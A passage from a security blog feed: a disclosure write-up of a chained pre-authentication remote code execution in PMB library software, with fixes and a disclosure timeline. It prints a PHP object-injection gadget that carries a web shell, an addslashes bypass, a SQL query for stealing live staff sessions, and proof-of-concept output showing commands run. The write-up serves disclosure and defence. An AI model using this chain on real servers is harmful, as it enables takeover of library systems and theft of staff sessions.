&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;php_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="bp"&gt;cls&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;prop&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# the SetCookie that carries our PHP in its Value&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;php_array&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;php_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Value&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;php_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&amp;lt;?php echo shell_exec($_GET[0]); ?&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;php_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Expires&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;php_int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt; &lt;span class="c1"&gt;# truthy: shouldPersist gate #1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;php_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Discard&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;php_bool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt; &lt;span class="c1"&gt;# falsy: shouldPersist gate #2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# … Name, Domain, Path, Max-Age, Secure, HttpOnly …&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="getting-the-bytes-past-addslashes-intact"&gt;Getting the bytes past &lt;code&gt;addslashes()&lt;/code&gt; intact&lt;/h3&gt;
&lt;p&gt;Funny twist: the same &lt;code&gt;register_globals&lt;/code&gt; emulation that failed to stop the SQL injection now works
&lt;strong&gt;against&lt;/strong&gt; us. It runs &lt;code&gt;addslashes()&lt;/code&gt; over the serialized blob and mangles the NUL bytes and
quotes in it, which breaks the property names and string lengths.&lt;/p&gt;
&lt;p&gt;The fix is to percent-encode every byte before sending. The encoded string is nothing but &lt;code&gt;%&lt;/code&gt; and
hex digits, so &lt;code&gt;addslashes()&lt;/code&gt; finds nothing to escape, and the sink&amp;rsquo;s own &lt;code&gt;urldecode()&lt;/code&gt; restores
the exact gadget.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;raw gadget bytes (NULs, quotes)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; → percent-encode everything &amp;#34;%4F%3A%33…&amp;#34; only % and hex
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; → server addslashes() no-op, nothing to escape
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; → sink urldecode() exact bytes restored
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; → unserialize()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I checked this by round-tripping the 590 byte gadget through the full transform: what reaches
&lt;code&gt;unserialize()&lt;/code&gt; is byte for byte what left the exploit.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="the-bridge-b-a-session-stolen-by-the-injection"&gt;The bridge (B): a session stolen by the injection&lt;/h2&gt;
&lt;p&gt;C needs a staff session. Instead of phishing one, we read one, because PMB keeps active sessions
in a database table, and A reads database tables.&lt;/p&gt;
&lt;p&gt;Here is what &lt;code&gt;checkUser()&lt;/code&gt; actually checks:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cookies: PhpMyBibli-SESSID, PhpMyBibli-LOGIN
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; → WHERE SESSID = ? AND login = ?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; → session still fresh (2h / 24h)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; → user has the required rights bit
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; → authenticated as that staff user
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ip = $_SERVER[&amp;#39;REMOTE_ADDR&amp;#39;]; // read at line 70 … and never compared
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Authentication comes down to &amp;ldquo;does this &lt;code&gt;{SESSID, login}&lt;/code&gt; pair exist, and is it fresh.&amp;rdquo; Both are
columns A can read. There is an IP column, it gets loaded, and nothing ever looks at it.&lt;/p&gt;
&lt;p&gt;I scoped the extraction in SQL so it returns a session that is both still fresh and privileged
enough for the mailing route (the circulation rights bit). That way the first hijack is a useful
one:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SESSID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sessions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="k"&gt;JOIN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;ON&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rights&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;-- CIRCULATION_AUTH
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AND&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;LastOn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UNIX_TIMESTAMP&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;-- still inside the 2h window
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="k"&gt;LIMIT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Run through the same byte-at-a-time oracle from Part A, that comes back with a live &lt;code&gt;SESSID&lt;/code&gt; and
&lt;code&gt;login&lt;/code&gt;. Replayed as the &lt;code&gt;PhpMyBibli-SESSID&lt;/code&gt; and &lt;code&gt;PhpMyBibli-LOGIN&lt;/code&gt; cookies, they land on the admin
console. The authenticated page is visibly bigger than the login page (about 200 KB against
186 KB), which also became my check for &amp;ldquo;this session has expired&amp;rdquo; later on.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="detonation-and-the-two-things-that-blocked-it"&gt;Detonation, and the two things that blocked it&lt;/h2&gt;
&lt;p&gt;With a session in hand, the mailing route reaches the &lt;code&gt;unserialize()&lt;/code&gt; sink. The first live
attempts came back HTTP 500 and wrote nothing. The vulnerability was fine. Two mechanical details
were not.&lt;/p&gt;
&lt;h3 id="1-send-both-cookies"&gt;1. Send both cookies&lt;/h3&gt;
&lt;p&gt;The first PoC sent only &lt;code&gt;SESSID&lt;/code&gt; and silently got the login page back. The session row is keyed on
both fields, so both cookies have to be replayed. Obvious in hindsight, invisible if you&amp;rsquo;re not
watching the response size.&lt;/p&gt;
&lt;h3 id="2-the-real-blocker-a-relative-path"&gt;2. The real blocker: a relative path&lt;/h3&gt;
&lt;p&gt;The gadget was writing to &lt;code&gt;temp/shell.php&lt;/code&gt;, a relative path. Under Apache &lt;code&gt;mod_php&lt;/code&gt; the working
directory of the request is not the document root, so &lt;code&gt;file_put_contents()&lt;/code&gt; resolved it somewhere
unwritable, threw inside the destructor, and the exception was swallowed at shutdown. No file, no
error, nothing.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;BEFORE&lt;/span&gt; &lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt; &lt;span class="n"&gt;CWD&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="n"&gt;docroot&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;write&lt;/span&gt; &lt;span class="n"&gt;fails&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;destructor&lt;/span&gt; &lt;span class="n"&gt;throws&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;swallowed&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;AFTER&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pmb&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="err"&gt;…&lt;/span&gt; &lt;span class="n"&gt;resolves&lt;/span&gt; &lt;span class="n"&gt;exactly&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;writable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;web&lt;/span&gt; &lt;span class="n"&gt;served&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;GET&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;An absolute path fixed it. I never doubted the bug itself: a standalone reproduction on the host
confirmed the destructor writes correctly. Delivery just needed an absolute path, which means the
attacker has to know or guess the docroot. &lt;code&gt;/var/www/pmb&lt;/code&gt; and &lt;code&gt;/var/www/html&lt;/code&gt; are cheap guesses.&lt;/p&gt;
&lt;h3 id="two-red-herrings-logged"&gt;Two red herrings, logged&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The HTTP 500 is expected.&lt;/strong&gt; It is an unrelated fatal error (&lt;code&gt;SetCookie&lt;/code&gt; is not &lt;code&gt;ArrayAccess&lt;/code&gt;,
so the mailing code&amp;rsquo;s cleanup loop throws) that fires after &lt;code&gt;send()&lt;/code&gt;. The destructor still runs
at shutdown and still writes the file.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Opcache&lt;/strong&gt; (&lt;code&gt;revalidate_freq=2s&lt;/code&gt;) made my edit-then-fire debugging race stale bytecode. It cost
me time while tracing, but it has nothing to do with the exploit.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="result"&gt;Result&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt; &lt;span class="o"&gt;./&lt;/span&gt;&lt;span class="n"&gt;preauth_rce_poc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;TARGET&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;docroot&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pmb&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;id; hostname&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Unauthenticated&lt;/span&gt; &lt;span class="n"&gt;SQL&lt;/span&gt; &lt;span class="n"&gt;injection&lt;/span&gt; &lt;span class="err"&gt;…&lt;/span&gt; &lt;span class="n"&gt;database&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;pmb&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Reading&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;staff&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt; &lt;span class="err"&gt;…&lt;/span&gt; &lt;span class="n"&gt;SESSID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;7162182868&lt;/span&gt; &lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;admin&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Hijacking&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;firing&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;gadget&lt;/span&gt; &lt;span class="err"&gt;…&lt;/span&gt; &lt;span class="n"&gt;HTTP&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expected&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;GET&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;_pmb_poc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id; hostname&amp;#39;&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;HTTP&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;-----&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;-----&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PMBRCE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;pmb&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;RCE&lt;/span&gt; &lt;span class="n"&gt;CONFIRMED&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="n"&gt;executed&lt;/span&gt; &lt;span class="n"&gt;as&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;web&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;No cookie and no password supplied. All the session material came from the injection. The dropped
file was removed afterwards.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="cutting-the-chain"&gt;Cutting the chain&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Link&lt;/th&gt;
&lt;th&gt;Fix&lt;/th&gt;
&lt;th&gt;Effect&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;A&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cast &lt;code&gt;idautorite&lt;/code&gt; to int (add it to &lt;code&gt;GLOBAL_VARS_INT_TYPE&lt;/code&gt;, or &lt;code&gt;intval()&lt;/code&gt; at the sink)&lt;/td&gt;
&lt;td&gt;Kills the whole unauthenticated chain, since B&amp;rsquo;s session theft rides on A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;B&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Bind sessions to more than a &lt;code&gt;{SESSID, login}&lt;/code&gt; pair: actually check the IP (the column exists), add a server-side secret&lt;/td&gt;
&lt;td&gt;A leaked pair no longer authenticates on its own&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;C&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Stop calling &lt;code&gt;unserialize()&lt;/code&gt; on request data; use a structured decode with a class allow-list&lt;/td&gt;
&lt;td&gt;Removes the object injection sink entirely&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;If you only do one thing, do the integer cast. It is a one-line change and the highest leverage fix
here: it breaks A, and without A, B has no way to steal a session, so the unauthenticated path
collapses. Ship it first, then deal with the session handling and the deserialization properly.&lt;/p&gt;
&lt;h3 id="if-you-run-pmb"&gt;If you run PMB&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Update to a release that includes the fixes for CVE-2026-95232 and CVE-2026-95233.&lt;/li&gt;
&lt;li&gt;If you can&amp;rsquo;t update right away, consider restricting access to &lt;code&gt;opac_css/visionneuse/&lt;/code&gt; at the
reverse proxy, and look through your web root (&lt;code&gt;temp/&lt;/code&gt; in particular) for PHP files you didn&amp;rsquo;t
put there.&lt;/li&gt;
&lt;li&gt;Staff sessions are bearer tokens in a table. Treat a database leak as a session leak: invalidate
sessions after any suspected compromise.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="disclosure-timeline"&gt;Disclosure timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2026-08-26&lt;/td&gt;
&lt;td&gt;First contact with the vendor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-08-27&lt;/td&gt;
&lt;td&gt;Vendor replies and opens a contact for the report&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-08-30&lt;/td&gt;
&lt;td&gt;Full technical details and the PoC sent to the vendor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td&gt;Vendor confirms the fix: &lt;em&gt;&amp;ldquo;The correction has been done yesterday, it will be delivered in the next revision available next Monday.&amp;rdquo;&lt;/em&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-10-05&lt;/td&gt;
&lt;td&gt;CVE-2026-95232 and CVE-2026-95233 assigned&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-11-25&lt;/td&gt;
&lt;td&gt;Public disclosure (this post)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;I thank the PMB team for their quick response and professional handling of this disclosure.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Found on PMB 8.0.1.40 and confirmed on 8.1.0.17, MariaDB 10.11.14, Apache mod_php with PHP 8.3.&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Writing past the end of an array with a Base64 string: how CVE-2026-114938 turns into code execution</title><link>https://atakorlab.com/blog/cve-2026-114938-java4shell/</link><pubDate>Thu, 19 Nov 2026 00:00:00 +0000</pubDate><guid>https://atakorlab.com/blog/cve-2026-114938-java4shell/</guid><description>
&lt;video controls poster="/blog/cve-2026-114938-java4shell/cve-2026-114938-poc.jpg" &gt;
&lt;source src="https://atakorlab.com/blog/cve-2026-114938-java4shell/cve-2026-114938-poc.mp4" type="video/mp4"&gt;
&lt;/video&gt;
&lt;h2 id="next-up-le-coupable-idéal"&gt;Next up: &lt;em&gt;le coupable idéal&lt;/em&gt;&lt;/h2&gt;
